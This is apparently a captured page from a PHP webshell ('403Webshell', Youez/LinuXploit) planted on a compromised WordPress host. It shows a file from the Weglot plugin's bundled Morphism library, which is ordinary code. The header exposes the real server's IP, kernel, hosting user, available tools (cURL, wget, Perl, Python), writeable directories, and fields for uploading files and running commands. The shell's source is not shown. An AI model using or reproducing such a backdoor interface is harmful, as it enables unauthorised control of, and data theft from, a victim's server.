403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/INFRABIKEDE/wp-content/plugins/weglot/vendor/gmulti/morphism-php/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/INFRABIKEDE/wp-content/plugins/weglot/vendor/gmulti/morphism-php/lib/Morphism.php
<?php

namespace Morphism;

use Morphism\Helpers\MorphismHelper;

abstract class Morphism {

    use MorphismHelper;

    protected static $registries = array();

    public static function register($type, $schema) {
            
    }

    /** 
     * @static
     * @param string $type
     * @return bool
     */
    public static function exists($type){
        return array_key_exists($type, self::$registries);
    }

    /**
     * @static
     * @param string $type
     * @return array
     */
    public static function getMapper($type){
        return self::$registries[$type];
    }

    /**
     * @static
     * @param string $type
     * @param array $schema
     */
    public static function setMapper($type, $schema){
        if (!$type) {
            throw new \Exception('type paramater is required when register a mapping');
        }
        if (!$schema) {
            throw new \Exception('schema paramater is required when register a mapping');
        }

        self::$registries[$type] = $schema;
    }

    /**
     * @static
     * @param string $type
     */
    public static function deleteMapper($type){
        unset(self::$registries[$type]);
    }

    /**
     * @static
     * @param string $type
     * @param array $data
     */
    public static function map($type, $data){
        if(!Morphism::exists($type)){
            throw new \Exception(sprintf("Mapper for %s not exist", $type));
        }

        $reflectedClass = new \ReflectionClass($type);

        if(!$reflectedClass->isInstantiable()){
            throw new \Exception($type . " is not an instantiable class.");
        }

        if(isset($data[0])){
            return array_map(function($arr) use($reflectedClass, $type){
                $instance = $reflectedClass->newInstance();
                return self::transformValuesFromObject($instance, Morphism::getMapper($type), $arr);
            }, $data);
        }
        else{
            $instance = $reflectedClass->newInstance();
            return self::transformValuesFromObject($instance, Morphism::getMapper($type), $data);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit